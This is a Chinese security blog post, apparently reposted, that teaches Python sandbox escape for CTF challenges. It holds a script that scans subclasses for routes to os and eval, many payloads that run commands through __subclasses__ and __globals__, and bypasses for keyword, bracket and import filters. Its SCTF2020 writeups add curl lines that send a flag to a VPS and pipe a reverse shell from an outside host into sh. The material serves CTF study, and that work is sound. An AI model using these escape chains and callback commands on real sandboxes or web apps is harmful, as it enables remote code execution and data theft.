'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],
'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],
'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],
'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],
'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],
'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],
'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],
'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],
'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],
'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],
'imp': ['os', 'importlib', 'sys', '__builtins__'],
'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],
'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],
'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],
'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],
'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],
'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],
'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],
'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],
'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],
'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],
'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],
'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],
'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],
'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'pty': ['os', 'sys', '__builtins__'],
'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],
'pyclbr': ['importlib', 'sys', '__builtins__'],
'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],
'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],
'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],
'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],
'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],
'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],
'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],
'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],
'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],
'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],
'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],
'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', '__builtins__'],
'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],
'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],
'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],
'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],
'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],
'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],
'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass

代码执行

python2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 # 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

python3
python3各个小版本之间有区别,有的payload可以用于py3.7 有的可以用于py3.5

1
2
3
4
5
6
7
8
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
[].__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('dir')

import限制与绕过

import 导入
python的沙箱逃匿
所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]的方法间接访问模块b

例子1

1
2
3
4
5
6
import re,sys
pattern = re.compile('import\s+(os|subprocess)')
match = re.search(pattern,sys.args[1])
if match:
print "forbidden module import detected"
raise Exception

要执行shell命令,必须引入 os/commands/subprocess这几个包,
对于攻击者来说,改如何绕过呢,

必须使用其他的引入方式

1
2
__import__函数 #动态加载类和函数
importlib库

__import__函数

1
2
test = __import__("os")
print test.system('whoami')

importlib库

1
2
3
import importlib
test= importlib.import_module("os")
print(test.system("whoami"))

还可以使用编码的方式绕过对导入包关键字的检查,比如使用base64,python2中适用

1
2
3
4
5
6
7
8
9
10
>>> import base64
>>> base64.b64encode("os")
'b3M='
>>> flag = __import__(base64.b64decode('b3M='))
>>> flag.system('whoami')
misaki\user
>>> import importlib
>>> flag = importlib.import_module('b3M='.decode('base64'))
>>> flag.system('whoami')
misaki\user

或者使用字符串拼接的方式

1
>>> __import__('o'+'s').system('who'+'ami')

字符串f翻转截取

1
2
3
4
>>> __import__('so'[::-1]).system('whoami')
misaki\user
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
misaki\user

例子2

1
2
3
4
5
6
import re,sys
pattern = re.compile('import')
match = re.search(pattern,sys.args[1])
if match:
print "forbidden module import detected"
raise Exception

使用execfile,不过在这之前需要判断得到库的物理路径。如果sys模块没被禁用的话,就可以使用sys来获取物理路径。这种方式只能用在python2中,python3取消了execfile

1
2
3
>>> execfile('/usr/lib/python2.7/os.py')  #Linux系统下默认路径
>>> system('whoami')
misaki

python3可以利用读取文件,配合exec来执行

1
2
3
4
>>> f = open(r'/usr/lib/python3.6/os.py','r')
>>> exec(f.read())
>>> system('whoami')
misaki

#不可以执行利用exec打开读取,exec需要执行的是其中的内容,直接打开的时候exec执行的就是读取文件操作
exec(“open(‘/usr/lib/python3.6/os.py’,’r’).read()”)
使用with open的形式

1
2
3
4
5
>>> with open('/usr/lib/python3.6/os.py','r') as f:
... exec(f.read())
...
>>> system('whoami')
misaki

或者使用字符串拼接的方式,但是需要跟exec,eval一起利用。

1
2
>>> exec('imp'+'ort'+' '+'os;'+'os.system("whoami")')
misaki\user

builtin

在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,随着__builtin__这一个module 自动被引入到环境中
(在python3.x 版本中,__builtin__变成了builtins,而且需要引入)

因此,open(),int(),chr()这些函数,就相当于

1
2
3
__builtin__.open()
__builtin__.int()
__builtin__.chr()

如果我们把这些函数从builtin中删除,那么就不能够再直接使用了

1
2
3
4
5
6
>>> import __builtin__
>>> del __builtin__.chr
>>> chr(1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'chr' is not defined

同样,刚才的__import__函数,同样也是一个builtin函数,同样,常用的危险函数eval,exec,execfile也是__builtin__的,因此只要从__builtin__中删除这些东西,那么就不能再去使用了

__builtin____builtins__之间是什么关系呢?

1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

*解决办法: *

__builtins__是一个默认引入的module
对于模块,有一个函数reload用于重新从文件系统中的代码来载入模块

因此我们只需要

1
reload(__builtins__)

就可以重新得到完整的__builtins__模块了

但是,reload也是__builtins__下面的函数,如果直接把它干掉,就没办法重新引入了

但可以使用

1
2
import imp
imp.reload(__builtins__)

其他特殊函数

通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,然后遍历 subclasses 列表,找到所有可以绕过的姿势
查找方式,详情可看此篇文章
Python沙箱逃逸总结

OpCode

利用OpCode绕过Python沙箱

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

1
2
3
4
5
6
7
import dis
def a():
if 1 == 2:
print("flag{****}")
opcode=a.__code__.co_code.encode('hex')
print "Opcode of a():",opcode
print dis.dis(opcode.decode('hex'))

result:

1
2
3
4
5
6
7
8
9
10
11
Opcode of a(): 6401006402006b020072140064030047486e000064000053
0 LOAD_CONST 1 (1)
3 LOAD_CONST 2 (2)
6 COMPARE_OP 2 (==)
9 POP_JUMP_IF_FALSE 20
12 LOAD_CONST 3 (3)
15 PRINT_ITEM
16 PRINT_NEWLINE
17 JUMP_FORWARD 0 (to 20)
>> 20 LOAD_CONST 0 (0)
23 RETURN_VALUE

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

1
print hex(op).ljust(6),

可以查看具体的字节码。

1
2
3
4
5
6
7
8
9
10
11
Opcode of a(): 6401006402006b020072140064030047486e000064000053
0 LOAD_CONST 0x64 1 (1)
3 LOAD_CONST 0x64 2 (2)
6 COMPARE_OP 0x6b 2 (==)
9 POP_JUMP_IF_FALSE 0x72 20
12 LOAD_CONST 0x64 3 (3)
15 PRINT_ITEM 0x47
16 PRINT_NEWLINE 0x48
17 JUMP_FORWARD 0x6e 0 (to 20)
>> 20 LOAD_CONST 0x64 0 (0)
23 RETURN_VALUE 0x53
指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

例题 1

1
2
3
def a():
if 1 == 2:
print("flag{****}")

sulution1
直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

1
(None, 1, 2, 'flag{****}')

sulution2
更改程序运行逻辑
CodeType构造函数

1
2
3
def __init__(self, argcount, nlocals, stacksize, flags, code,
consts, names, varnames, filename, name,
firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得
因此我们

1
2
3
4
5
6
def a():
if 1 == 2:
print("flag{****}")

for name in dir(a.__code__):
print name,getattr(a.__code__,name)

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

1
2
3
4
5
def a():
if 1 != 2:
print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

1
6401006402006b030072140064030047486e000064000053

构造payload

1
2
3
4
5
6
7
8
9
10
def a():
if 1 == 2:
print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

过滤绕过

过滤__globals__

__globals__被禁用时,

  • 可以用func_globals直接替换;
  • 使用__getattribute__('__globa'+'ls__')
    1
    2
    3
    4
    5
    6
    7
    # 原型是调用__globals__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

    # 如果过滤了__globals__,可直接替换为func_globals
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')
    # 也可以通过拼接字符串得到方式绕过
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('calc')

    过滤global

    1
    {{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}

    base64编码

    对关键字进行base64编码可绕过一些明文检测机制:

    1
    2
    3
    4
    5
    6
    7
    >>> import base64
    >>> base64.b64encode('__import__')
    'X19pbXBvcnRfXw=='
    >>> base64.b64encode('os')
    'b3M='
    >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
    0

reload()方法

某些情况下,通过del将一些模块的某些方法给删除掉了,但是我们可以通过reload()函数重新加载该模块,从而可以调用删除掉的可利用的方法:

1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval

字符串拼接

凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__bu'+'iltins__']['__impor'+'t__']('o'+'s').system('ca'+'lc')

过滤中括号

当中括号[]被过滤掉时,

  • 调用__getitem__()函数直接替换;
  • 调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
1
2
3
4
5
6
7
8
# 原型
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')

# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('calc')

ctf例题

examp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from __future__ import print_function
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
print(targets)
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
try:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
except:
print("error")

这道题目运行在python2.7的环境,虽然没有删除reload,但是利用了黑名单机制,即使你重新载入builtins,也不能成功使用删除的危险函数。
file 文件读取

1
2
().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read()
# 等价于 open('test.py').read()

调用其他类中的OS模块完成命令执行

1
2
3
4
5
6
7
8
9
class 'warnings.catch_warnings'
# 在这个类中,调用了os模块,我们可以间接把os模块调用进来。
# win 32
().__class__.__bases__[0].__subclasses__()[54]
# linux 2
().__class__.__bases__[0].__subclasses__()[59]
# linux 2
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
# func_globals:返回一个包含函数全局变量的字典引用;

examp2

pysandbox SCTF2020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
print(secret)
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"

exec(secret)
return "xXXxXXx"


if __name__ == '__main__':
app.run(host="0.0.0.0")

solution1:

置静态目录的做法

1
2
3
/?POST=%2f

cmd=app.static_folder=request.args[request.method]

设置静态目录为/
之后即可访问static/flag

solution2:
__builtins__是python的内建函数的内建命名空间,dir看一下有ord

将其改写为lambda匿名函数,先覆盖ord,让其返回42-122之间的数即可,确保不会error

1
__builtins__.__dict__['ord'] = lambda args:42

但是过滤了空格和引号,空格可以用 *args 代替。

1
2
3
post /  

__builtins__.ord=lambda*args:45

然后再将路由函数覆盖掉

1
2
3
post /

cmd=app.view_functions['security'] = lambda: __import__('os').popen('cat ./flag').read()

不过此做法,如果其他人也在做题,不管其请求什么,同时也会得到flag

所以可以反弹shell

1
cmd=__import__("os").popen("curl -d `/readflag` vps:port").read()

solution3:
[TokyoWesterns 2018 shrine writeup](TokyoWesterns 2018 shrine writeup)
本 题 的 主 要 思 路 就 是 劫 持 函 数 , 通 过 替 换 某 一 个 函 数 为 eval system等 , 然 后 变 量 外 部 可 控 ,
即 可 RCE
看 了 一 下 大 家 RCE的 做 法 都 不 相 同 , 但 只 要 是 劫 持 都 算 在 预 期 内 , 只 是 链 不 一 样 , 这 里 就 只
贴 一 下 自 己 当 时 挖 到 的 方 法 了
首 先 要 找 到 一 个合 适 的 函 数 , 满 足 参 数 可 控 , 最 终 找 到 werkzeug.urls.url_parse这 个 函 数 , 参
数 就 是 HTTP包 的 路 径
比 如

1
2
3
4
GET /index.php HTTP/1.1
Host: xxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0

参 数 就 是 ‘/index.php’
然 后 是 劫 持 , 我 们 无 法 输 入 任 何 括 号 和 空 格 , 所 以 无 法 直 接 import werkzeug
需 要 通 过 一 个 继 承 链 关 系 来 找 到 werkzeug这 个 类
直 接 拿 出 tokyowestern 2018年 shrine的 找 继 承 链 脚 本
https://eviloh.github.io/2018/09/03/TokyoWesterns-2018-shrine-writeup/)
访 问 一 下 , 即 可 在 1.txt最 下 面 看 到 继 承 链
最 终 找 到 是

1
request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls']

但 是 发 现 我 们 不 能 输 入 任 何 引 号 , 这 个 考 点 也 考 多 了 , 可 以 通 过 request的 属 性 进 行 bypass
一 些 外 部 可 控 的 request属 性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
request.host
request.content_md5
request.content_encoding
所 以 请 求 1
POST / HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%
3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
cmd=request.__class__._get_current_object.__globals__[request.host].__class__._
_weakref__.__objclass__.contents.__globals__[request.host].exec_module.__global
s__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_p
arse=eval

然 后 url_parse函 数 就 变 成 了 eval
然 后 访 问 第 二 个 请 求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST __import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh')
HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%
3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
cmd=request.__class__._get_current_object.__globals__[request.host].__class__._
_weakref__.__objclass__.contents.__globals__[request.host].exec_module.__global
s__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_p
arse=eval

参考文章:
python 沙箱逃逸与SSTI
Python 沙箱逃逸
Python的方法解析顺序
Bypass Python sandboxes
Python沙箱逃逸的n种姿势
用python继承链搞事情
Python沙箱逃逸总结
利用OpCode绕过Python沙箱
从一个CTF题目学习Python沙箱逃逸
Python沙箱逃逸小结

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:40:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python的沙箱逃匿http://cn-sec.com/archives/722168.html

发表评论

匿名网友 填写信息